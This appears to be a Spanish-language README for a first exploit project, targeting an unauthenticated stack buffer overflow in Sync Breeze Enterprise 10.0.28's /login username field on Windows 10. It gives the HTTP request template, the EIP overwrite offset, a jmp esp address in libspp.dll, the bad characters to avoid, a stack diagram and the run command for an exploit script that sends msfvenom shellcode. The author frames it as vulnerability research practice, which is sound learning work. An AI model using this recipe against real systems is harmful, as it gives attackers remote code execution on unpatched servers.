
Desbordamiento de búfer en Sync Breeze Enterprise 10.0.28 permite a atacantes remotos tener un impacto no especificado a través de un parámetro de nombre de usuario largo en /login
El exploit apunta a Sync Breeze Enterprise ejecutándose en Windows 10 (x86, build: 16299), afectando la versión 10.0.28, donde un atacante no autenticado puede realizar un desbordamiento de búfer a través del cuerpo de una solicitud HTTP, resultando en ejecución de código arbitrario. Este exploit asume que todas las mitigaciones de seguridad están deshabilitadas (por ejemplo, ASLR, CFG, DEP).
[!NOTE] Este proyecto fue desarrollado mientras experimentaba con desbordamientos de búfer básicos dirigidos a binarios de Windows. Es el primer exploit que he desarrollado. El exploit es completamente funcional y se publica para documentar mi progreso en la investigación de vulnerabilidades y el desarrollo de exploits.
Enviar una solicitud HTTP
La conexión se establece con los siguientes encabezados y cuerpo:
POST /login HTTP/1.1
Host: <host>
Content-Type: application/x-www-form-urlencoded
Content-Length: <payload-length>
username=<payload>&password=?
Sobrescribir el registro eip
La dirección estática 10090c83 que apunta a una instrucción jmp esp en libspp.dll se utiliza para redirigir la ejecución a la pila en el desplazamiento de byte 788.
Ejecutar el shellcode
El shellcode configurado debe evitar los siguientes caracteres: \x00\x0a\x0d\x25\x26\x2b\x3d.
graph
subgraph "syncbreeze.exe"
b1.0["
...... 41414141
...... 41414141
...... 41414141
(eip) <span style="color: cyan">10090c83</span>
"]
b1.1["
(<span style="color:lime">esp</span>) 90909090
...... 90909090
<span style="color:red"><shellcode></span>
"]
b1.0 ~~~ b1.1
end
subgraph "libspp.dll"
a1.0["`
(<span style="color:cyan">10090c83</span>) jmp <span style="color:lime">esp</span>
`"]
end
b1.0 --> a1.0
a1.0 --> b1.1

python3 exploit.py --host <host> --port <port> --file <file>
| Flag | Descripción |
|---|---|
| host | la interfaz en la que Sync Breeze está escuchando |
| port | el puerto en el que Sync Breeze está escuchando |
| file | la salida sin procesar de msfvenom |